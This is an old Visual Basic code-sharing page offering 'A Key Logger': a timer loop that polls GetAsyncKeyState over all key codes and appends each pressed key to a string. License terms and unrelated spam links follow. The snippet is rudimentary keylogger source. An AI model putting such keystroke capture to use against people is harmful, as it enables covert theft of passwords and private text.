Submitted on: 7/27/1999
By: Adam Jacob Muller
Compatibility:VB 4.0 (32-bit), VB 5.0, VB 6.0
  		 
 
     It Logs Your Key Presses Place This Code In A Timer On Interval Less Then 20 The Faster It Is The better But It Consumes More System Rescources
 

Windows API/Global Declarations:

 

			

'**************************************

'Windows API/Global Declarations for :A 

'     Key Logger

'**************************************



Declare Function GetAsyncKeyState Lib "user32" (ByVal dwMessage As Long) As Integer
code:
 
Terms of Agreement:   
By using this code, you agree to the following terms...   
1) You may use this code in your own programs (and may compile it into a program and distribute it in compiled format for langauges that allow it) freely and with no charge.   
2) You MAY NOT redistribute this code (for example to a web site) without written permission from the original author. Failure to do so is a violation of copyright laws.   
3) You may link to this code from another website, but ONLY if it is not wrapped in a frame. 
4) You will abide by any additional copyright restrictions which the author may have placed in the code or code's description. 

						

'**************************************

' Name: A Key Logger

' Description:It Logs Your Key Presses

Place This Code In A Timer On Interval Less Then 20 The Faster It Is The 

better But It Consumes More System Rescources

' By: Adam Jacob Muller

'

'This code is copyrighted and has
' limited warranties.Please see http://w

'     ww.Planet-Source-Code.com/xq/ASP/txtCode

'     Id.2653/lngWId.1/qx/vb/scripts/ShowCode.

'     htm
'for details.
'**************************************



'Place This Code In A Timer On Interval 

'     Less Then 20 The Faster It Is The 

'better But It Consumes More System Resc

'     ources

Dim KeyLoop As Byte

Dim FoundKeys As String

Dim KeyResult As Long



For KeyLoop = 1 To 255

    KeyResult = GetAsyncKeyState(KeyLoop)



    If KeyResult = -32767 Then

        FoundKeys = FoundKeys + Chr(KeyLoop)

    End If



Next
Asbury NJ Homes Realtor | Team Building Camps and Seminars | Jessys Journal | Arcade Games | Shades